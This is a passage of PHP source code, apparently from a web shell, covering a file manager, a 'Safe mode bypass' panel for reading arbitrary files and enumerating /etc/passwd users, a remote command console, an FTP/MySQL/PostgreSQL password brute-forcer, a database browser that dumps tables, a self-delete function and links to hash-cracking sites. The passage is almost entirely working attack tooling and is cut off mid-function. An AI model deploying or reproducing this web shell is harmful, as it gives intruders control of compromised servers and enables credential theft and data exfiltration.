  627. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  628. $l = $l?0:1;
  629. }
  630. ?>
  631. <tr><td colspan=7>
  632. <input type=hidden name=a value='FilesMan'>
  633. <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
  634. <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
  635. <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){?><option value='paste'>Paste</option><?php }?></select>&nbsp;<input type="submit" value=">>"></td></tr>
  636. </form></table></div>
  637. <?php
  638. printFooter();
  639. }
  640.  
  641. function actionStringTools() {
  642. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  643. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  644. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
  645. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  646.  
  647. if(isset($_POST['ajax'])) {
  648. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  649. ob_start();
  650. if(function_exists($_POST['p1']))
  651. echo $_POST['p1']($_POST['p2']);
  652. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  653. echo strlen($temp), "\n", $temp;
  654. exit;
  655. }
  656. printHeader();
  657. echo '<h1>String conversions</h1><div class=content>';
  658. $stringTools = array(
  659. 'Base64 encode' => 'base64_encode',
  660. 'Base64 decode' => 'base64_decode',
  661. 'Url encode' => 'urlencode',
  662. 'Url decode' => 'urldecode',
  663. 'Full urlencode' => 'full_urlencode',
  664. 'md5 hash' => 'md5',
  665. 'sha1 hash' => 'sha1',
  666. 'crypt' => 'crypt',
  667. 'CRC32' => 'crc32',
  668. 'ASCII to HEX' => 'ascii2hex',
  669. 'HEX to ASCII' => 'hex2ascii',
  670. 'HEX to DEC' => 'hexdec',
  671. 'HEX to BIN' => 'hex2bin',
  672. 'DEC to HEX' => 'dechex',
  673. 'DEC to BIN' => 'decbin',
  674. 'BIN to HEX' => 'bin2hex',
  675. 'BIN to DEC' => 'bindec',
  676. 'String to lower case' => 'strtolower',
  677. 'String to upper case' => 'strtoupper',
  678. 'Htmlspecialchars' => 'htmlspecialchars',
  679. 'String length' => 'strlen',
  680. );
  681. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  682. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  683. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  684. foreach($stringTools as $k => $v)
  685. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  686. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  687. if(!empty($_POST['p1'])) {
  688. if(function_exists($_POST['p1']))
  689. echo htmlspecialchars($_POST['p1']($_POST['p2']));
  690. }
  691. echo"</pre></div>";
  692. ?>
  693. <br><h1>Search for hash:</h1><div class=content>
  694. <form method='post' target='_blank' name="hf">
  695. <input type="text" name="hash" style="width:200px;"><br>
  696. <input type="button" value="hashcrack.com" onclick="document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()"><br>
  697. <input type="button" value="milw0rm.com" onclick="document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()"><br>
  698. <input type="button" value="hashcracking.info" onclick="document.hf.action='https://hashcracking.info/index.php';document.hf.submit()"><br>
  699. <input type="button" value="md5.rednoize.com" onclick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()"><br>
  700. <input type="button" value="md5decrypter.com" onclick="document.hf.action='http://www.md5decrypter.com/';document.hf.submit()"><br>
  701. </form>
  702. </div>
  703. <?php
  704. printFooter();
  705. }
  706.  
  707. function actionFilesTools() {
  708. if( isset($_POST['p1']) )
  709. $_POST['p1'] = urldecode($_POST['p1']);
  710. if(@$_POST['p2']=='download') {
  711. if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
  712. ob_start("ob_gzhandler", 4096);
  713. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  714. if (function_exists("mime_content_type")) {
  715. $type = @mime_content_type($_POST['p1']);
  716. header("Content-Type: ".$type);
  717. }
  718. $fp = @fopen($_POST['p1'], "r");
  719. if($fp) {
  720. while(!@feof($fp))
  721. echo @fread($fp, 1024);
  722. fclose($fp);
  723. }
  724. } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
  725.  
  726. }
  727. exit;
  728. }
  729. if( @$_POST['p2'] == 'mkfile' ) {
  730. if(!file_exists($_POST['p1'])) {
  731. $fp = @fopen($_POST['p1'], 'w');
  732. if($fp) {
  733. $_POST['p2'] = "edit";
  734. fclose($fp);
  735. }
  736. }
  737. }
  738. printHeader();
  739. echo '<h1>File tools</h1><div class=content>';
  740. if( !file_exists(@$_POST['p1']) ) {
  741. echo 'File not exists';
  742. printFooter();
  743. return;
  744. }
  745. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  746. $gid = @posix_getgrgid(@fileowner($_POST['p1']));
  747. echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  748. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  749. if( empty($_POST['p2']) )
  750. $_POST['p2'] = 'view';
  751. if( is_file($_POST['p1']) )
  752. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  753. else
  754. $m = array('Chmod', 'Rename', 'Touch');
  755. foreach($m as $v)
  756. echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  757. echo '<br><br>';
  758. switch($_POST['p2']) {
  759. case 'view':
  760. echo '<pre class=ml1>';
  761. $fp = @fopen($_POST['p1'], 'r');
  762. if($fp) {
  763. while( !@feof($fp) )
  764. echo htmlspecialchars(@fread($fp, 1024));
  765. @fclose($fp);
  766. }
  767. echo '</pre>';
  768. break;
  769. case 'highlight':
  770. if( is_readable($_POST['p1']) ) {
  771. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  772. $code = highlight_file($_POST['p1'],true);
  773. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  774. }
  775. break;
  776. case 'chmod':
  777. if( !empty($_POST['p3']) ) {
  778. $perms = 0;
  779. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  780. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  781. if(!@chmod($_POST['p1'], $perms))
  782. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  783. else
  784. die('<script>g(null,null,null,null,"")</script>');
  785. }
  786. echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  787. break;
  788. case 'edit':
  789. if( !is_writable($_POST['p1'])) {
  790. echo 'File isn\'t writeable';
  791. break;
  792. }
  793. if( !empty($_POST['p3']) ) {
  794. @file_put_contents($_POST['p1'],$_POST['p3']);
  795. echo 'Saved!<br><script>document.mf.p3.value="";</script>';
  796. }
  797. echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
  798. $fp = @fopen($_POST['p1'], 'r');
  799. if($fp) {
  800. while( !@feof($fp) )
  801. echo htmlspecialchars(@fread($fp, 1024));
  802. @fclose($fp);
  803. }
  804. echo '</textarea><input type=submit value=">>"></form>';
  805. break;
  806. case 'hexdump':
  807. $c = @file_get_contents($_POST['p1']);
  808. $n = 0;
  809. $h = array('00000000<br>','','');
  810. $len = strlen($c);
  811. for ($i=0; $i<$len; ++$i) {
  812. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  813. switch ( ord($c[$i]) ) {
  814. case 0: $h[2] .= ' '; break;
  815. case 9: $h[2] .= ' '; break;
  816. case 10: $h[2] .= ' '; break;
  817. case 13: $h[2] .= ' '; break;
  818. default: $h[2] .= $c[$i]; break;
  819. }
  820. $n++;
  821. if ($n == 32) {
  822. $n = 0;
  823. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  824. $h[1] .= '<br>';
  825. $h[2] .= "\n";
  826. }
  827. }
  828. echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  829. break;
  830. case 'rename':
  831. if( !empty($_POST['p3']) ) {
  832. if(!@rename($_POST['p1'], $_POST['p3']))
  833. echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
  834. else
  835. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  836. }
  837. echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  838. break;
  839. case 'touch':
  840. if( !empty($_POST['p3']) ) {
  841. $time = strtotime($_POST['p3']);
  842. if($time) {
  843. if(@touch($_POST['p1'],$time,$time))
  844. die('<script>g(null,null,null,null,"")</script>');
  845. else {
  846. echo 'Fail!<script>document.mf.p3.value="";</script>';
  847. }
  848. } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
  849. }
  850. echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  851. break;
  852. case 'mkfile':
  853.  
  854. break;
  855. }
  856. echo '</div>';
  857. printFooter();
  858. }
  859.  
  860. function actionSafeMode() {
  861. $temp='';
  862. ob_start();
  863. switch($_POST['p1']) {
  864. case 1:
  865. $temp=@tempnam($test, 'cx');
  866. if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  867. echo @file_get_contents($temp);
  868. unlink($temp);
  869. } else
  870. echo 'Sorry... Can\'t open file';
  871. break;
  872. case 2:
  873. $files = glob($_POST['p2'].'*');
  874. if( is_array($files) )
  875. foreach ($files as $filename)
  876. echo $filename."\n";
  877. break;
  878. case 3:
  879. $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
  880. curl_exec($ch);
  881. break;
  882. case 4:
  883. ini_restore("safe_mode");
  884. ini_restore("open_basedir");
  885. include($_POST['p2']);
  886. break;
  887. case 5:
  888. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  889. $uid = @posix_getpwuid($_POST['p2']);
  890. if ($uid)
  891. echo join(':',$uid)."\n";
  892. }
  893. break;
  894. case 6:
  895. if(!function_exists('imap_open'))break;
  896. $stream = imap_open($_POST['p2'], "", "");
  897. if ($stream == FALSE)
  898. break;
  899. echo imap_body($stream, 1);
  900. imap_close($stream);
  901. break;
  902. }
  903. $temp = ob_get_clean();
  904. printHeader();
  905. echo '<h1>Safe mode bypass</h1><div class=content>';
  906. echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
  907. if($temp)
  908. echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
  909. echo '</div>';
  910. printFooter();
  911. }
  912.  
  913. function actionConsole() {
  914. if(isset($_POST['ajax'])) {
  915. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  916. ob_start();
  917. echo "document.cf.cmd.value='';\n";
  918. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
  919. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  920. if(@chdir($match[1])) {
  921. $GLOBALS['cwd'] = @getcwd();
  922. echo "document.mf.c.value='".$GLOBALS['cwd']."';";
  923. }
  924. }
  925. echo "document.cf.output.value+='".$temp."';";
  926. echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
  927. $temp = ob_get_clean();
  928. echo strlen($temp), "\n", $temp;
  929. exit;
  930. }
  931. printHeader();
  932. ?>
  933. <script>
  934. if(window.Event) window.captureEvents(Event.KEYDOWN);
  935. var cmds = new Array("");
  936. var cur = 0;
  937. function kp(e) {
  938. var n = (window.Event) ? e.which : e.keyCode;
  939. if(n == 38) {
  940. cur--;
  941. if(cur>=0)
  942. document.cf.cmd.value = cmds[cur];
  943. else
  944. cur++;
  945. } else if(n == 40) {
  946. cur++;
  947. if(cur < cmds.length)
  948. document.cf.cmd.value = cmds[cur];
  949. else
  950. cur--;
  951. }
  952. }
  953. function add(cmd) {
  954. cmds.pop();
  955. cmds.push(cmd);
  956. cmds.push("");
  957. cur = cmds.length-1;
  958. }
  959. </script>
  960. <?php
  961. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
  962. foreach($GLOBALS['aliases'] as $n => $v) {
  963. if($v == '') {
  964. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  965. continue;
  966. }
  967. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  968. }
  969. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  970. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  971. echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  972. if(!empty($_POST['p1'])) {
  973. echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
  974. }
  975. echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
  976. echo '</form></div><script>document.cf.cmd.focus();</script>';
  977. printFooter();
  978. }
  979.  
  980. function actionLogout() {
  981. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  982. echo 'bye!';
  983. }
  984.  
  985. function actionSelfRemove() {
  986. printHeader();
  987. if($_POST['p1'] == 'yes') {
  988. if(@unlink(SELF_PATH))
  989. die('Shell has been removed');
  990. else
  991. echo 'unlink error!';
  992. }
  993. echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  994. printFooter();
  995. }
  996.  
  997. function actionBruteforce() {
  998. printHeader();
  999. if( isset($_POST['proto']) ) {
  1000. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1001. if( $_POST['proto'] == 'ftp' ) {
  1002. function bruteForce($ip,$port,$login,$pass) {
  1003. $fp = @ftp_connect($ip, $port?$port:21);
  1004. if(!$fp) return false;
  1005. $res = @ftp_login($fp, $login, $pass);
  1006. @ftp_close($fp);
  1007. return $res;
  1008. }
  1009. } elseif( $_POST['proto'] == 'mysql' ) {
  1010. function bruteForce($ip,$port,$login,$pass) {
  1011. $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  1012. @mysql_close($res);
  1013. return $res;
  1014. }
  1015. } elseif( $_POST['proto'] == 'pgsql' ) {
  1016. function bruteForce($ip,$port,$login,$pass) {
  1017. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1018. $res = @pg_connect($str);
  1019. @pg_close($res);
  1020. return $res;
  1021. }
  1022. }
  1023. $success = 0;
  1024. $attempts = 0;
  1025. $server = explode(":", $_POST['server']);
  1026. if($_POST['type'] == 1) {
  1027. $temp = @file('/etc/passwd');
  1028. if( is_array($temp) )
  1029. foreach($temp as $line) {
  1030. $line = explode(":", $line);
  1031. ++$attempts;
  1032. if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1033. $success++;
  1034. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1035. }
  1036. if(@$_POST['reverse']) {
  1037. $tmp = "";
  1038. for($i=strlen($line[0])-1; $i>=0; --$i)
  1039. $tmp .= $line[0][$i];
  1040. ++$attempts;
  1041. if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1042. $success++;
  1043. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1044. }
  1045. }
  1046. }
  1047. } elseif($_POST['type'] == 2) {
  1048. $temp = @file($_POST['dict']);
  1049. if( is_array($temp) )
  1050. foreach($temp as $line) {
  1051. $line = trim($line);
  1052. ++$attempts;
  1053. if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1054. $success++;
  1055. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1056. }
  1057. }
  1058. }
  1059. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1060. }
  1061. echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1062. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1063. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1064. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1065. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1066. .'<span>Server:port</span></td>'
  1067. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1068. .'<tr><td><span>Brute type</span></td>'
  1069. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1070. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1071. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1072. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1073. .'<td><input type=text name=login value="root"></td></tr>'
  1074. .'<tr><td><span>Dictionary</span></td>'
  1075. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1076. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1077. echo '</div><br>';
  1078. printFooter();
  1079. }
  1080.  
  1081. function actionSql() {
  1082. class DbClass {
  1083. var $type;
  1084. var $link;
  1085. var $res;
  1086. function DbClass($type) {
  1087. $this->type = $type;
  1088. }
  1089. function connect($host, $user, $pass, $dbname){
  1090. switch($this->type) {
  1091. case 'mysql':
  1092. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1093. break;
  1094. case 'pgsql':
  1095. $host = explode(':', $host);
  1096. if(!$host[1]) $host[1]=5432;
  1097. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1098. break;
  1099. }
  1100. return false;
  1101. }
  1102. function selectdb($db) {
  1103. switch($this->type) {
  1104. case 'mysql':
  1105. if (@mysql_select_db($db))return true;
  1106. break;
  1107. }
  1108. return false;
  1109. }
  1110. function query($str) {
  1111. switch($this->type) {
  1112. case 'mysql':
  1113. return $this->res = @mysql_query($str);
  1114. break;
  1115. case 'pgsql':
  1116. return $this->res = @pg_query($this->link,$str);
  1117. break;
  1118. }
  1119. return false;
  1120. }
  1121. function fetch() {
  1122. $res = func_num_args()?func_get_arg(0):$this->res;
  1123. switch($this->type) {
  1124. case 'mysql':
  1125. return @mysql_fetch_assoc($res);
  1126. break;
  1127. case 'pgsql':
  1128. return @pg_fetch_assoc($res);
  1129. break;
  1130. }
  1131. return false;
  1132. }
  1133. function listDbs() {
  1134. switch($this->type) {
  1135. case 'mysql':
  1136. return $this->res = @mysql_list_dbs($this->link);
  1137. break;
  1138. case 'pgsql':
  1139. return $this->res = $this->query("SELECT datname FROM pg_database");
  1140. break;
  1141. }
  1142. return false;
  1143. }
  1144. function listTables() {
  1145. switch($this->type) {
  1146. case 'mysql':
  1147. return $this->res = $this->query('SHOW TABLES');
  1148. break;
  1149. case 'pgsql':
  1150. return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
  1151. break;
  1152. }
  1153. return false;
  1154. }
  1155. function error() {
  1156. switch($this->type) {
  1157. case 'mysql':
  1158. return @mysql_error($this->link);
  1159. break;
  1160. case 'pgsql':
  1161. return @pg_last_error($this->link);
  1162. break;
  1163. }
  1164. return false;
  1165. }
  1166. function setCharset($str) {
  1167. switch($this->type) {
  1168. case 'mysql':
  1169. if(function_exists('mysql_set_charset'))
  1170. return @mysql_set_charset($str, $this->link);
  1171. else
  1172. $this->query('SET CHARSET '.$str);
  1173. break;
  1174. case 'mysql':
  1175. return @pg_set_client_encoding($this->link, $str);
  1176. break;
  1177. }
  1178. return false;
  1179. }
  1180. function dump($table) {
  1181. switch($this->type) {
  1182. case 'mysql':
  1183. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1184. $create = mysql_fetch_array($res);
  1185. echo $create[1].";\n\n";
  1186. $this->query('SELECT * FROM `'.$table.'`');
  1187. while($item = $this->fetch()) {
  1188. $columns = array();
  1189. foreach($item as $k=>$v) {
  1190. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1191. $columns[] = "`".$k."`";
  1192. }
  1193. echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1194. }
  1195. break;
  1196. case 'pgsql':
  1197. $this->query('SELECT * FROM '.$table);
  1198. while($item = $this->fetch()) {
  1199. $columns = array();
  1200. foreach($item as $k=>$v) {
  1201. $item[$k] = "'".addslashes($v)."'";
  1202. $columns[] = $k;
  1203. }
  1204. echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1205. }
  1206. break;
  1207. }
  1208. return false;
  1209. }
  1210. };
  1211. $db = new DbClass($_POST['type']);
  1212. if(@$_POST['p2']=='download') {
  1213. ob_start("ob_gzhandler", 4096);
  1214. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1215. $db->selectdb($_POST['sql_base']);
  1216. header("Content-Disposition: attachment; filename=dump.sql");
  1217. header("Content-Type: text/plain");
  1218. foreach($_POST['tbl'] as $v)
  1219. $db->dump($v);
  1220. exit;
  1221. }
  1222. printHeader();
  1223. ?>
  1224. <h1>Sql browser</h1><div class=content>
  1225. <form name="sf" method="post">
  1226. <table cellpadding="2" cellspacing="0">
  1227. <tr>
  1228. <td>Type</td>
  1229. <td>Host</td>
  1230. <td>Login</td>
  1231. <td>Password</td>
  1232. <td>Database</td>
  1233. <td></td>
  1234. </tr>
  1235. <tr>
  1236. <input type=hidden name=a value=Sql>
  1237. <input type=hidden name=p1 value='query'>
  1238. <input type=hidden name=p2>
  1239. <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd']);?>'>
  1240. <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
  1241. <td>
  1242. <select name='type'>
  1243. <option value="mysql" <?php if(@$_POST['type']=='mysql')echo 'selected';?>>MySql</option>
  1244. <option value="pgsql" <?php if(@$_POST['type']=='pgsql')echo 'selected';?>>PostgreSql</option>
  1245. </select></td>
  1246. <td><input type=text name=sql_host value='<?=(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']));?>'></td>
  1247. <td><input type=text name=sql_login value='<?=(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']));?>'></td>
  1248. <td><input type=text name=sql_pass value='<?=(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']));?>'></td>
  1249. <td>
  1250. <?php
  1251. $tmp = "<input type=text name=sql_base value=''>";
  1252. if(isset($_POST['sql_host'])){
  1253. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1254. switch($_POST['charset']) {
  1255. case "Windows-1251": $db->setCharset('cp1251'); break;
  1256. case "UTF-8": $db->setCharset('utf8'); break;
  1257. case "KOI8-R": $db->setCharset('koi8r'); break;
  1258. case "KOI8-U": $db->setCharset('koi8u'); break;
  1259. case "cp866": $db->setCharset('cp866'); break;
  1260. }
  1261. $db->listDbs();
  1262. echo "<select name=sql_base><option value=''></option>";
  1263. while($item = $db->fetch()) {
  1264. list($key, $value) = each($item);
  1265. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1266. }
  1267. echo '</select>';
  1268. }
  1269. else echo $tmp;
  1270. }else
  1271. echo $tmp;
  1272. ?></td>
  1273. <td><input type=submit value=">>"></td>
  1274. </tr>
  1275. </table>
  1276. <script>
  1277. function st(t,l) {
  1278. document.sf.p1.value = 'select';
  1279. document.sf.p2.value = t;
  1280. if(l!=null)document.sf.p3.value = l;
  1281. document.sf.submit();
  1282. }
  1283. function is() {
  1284. for(i=0;i<document.sf.elements['tbl[]'].length;++i)
  1285. document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
  1286. }
  1287. </script>
  1288. <?php
  1289. if(isset($db) && $db->link){
  1290. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1291. if(!empty($_POST['sql_base'])){
  1292. $db->selectdb($_POST['sql_base']);
  1293. echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
  1294. $tbls_res = $db->listTables();
  1295. while($item = $db->fetch($tbls_res)) {
  1296. list($key, $value) = each($item);
  1297. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1298. $value = htmlspecialchars($value);
  1299. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
  1300. }
  1301. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
  1302. if(@$_POST['p1'] == 'select') {
  1303. $_POST['p1'] = 'query';
  1304. $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
  1305. $num = $db->fetch();
  1306. $num = $num['n'];
  1307. echo "<span>".$_POST['p2']."</span> ($num) ";
  1308. for($i=0;$i<($num/30);$i++)
  1309. if($i != (int)$_POST['p3'])
  1310. echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
  1311. else
  1312. echo ($i+1)," ";
  1313. if($_POST['type']=='pgsql')
  1314. $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1315. else
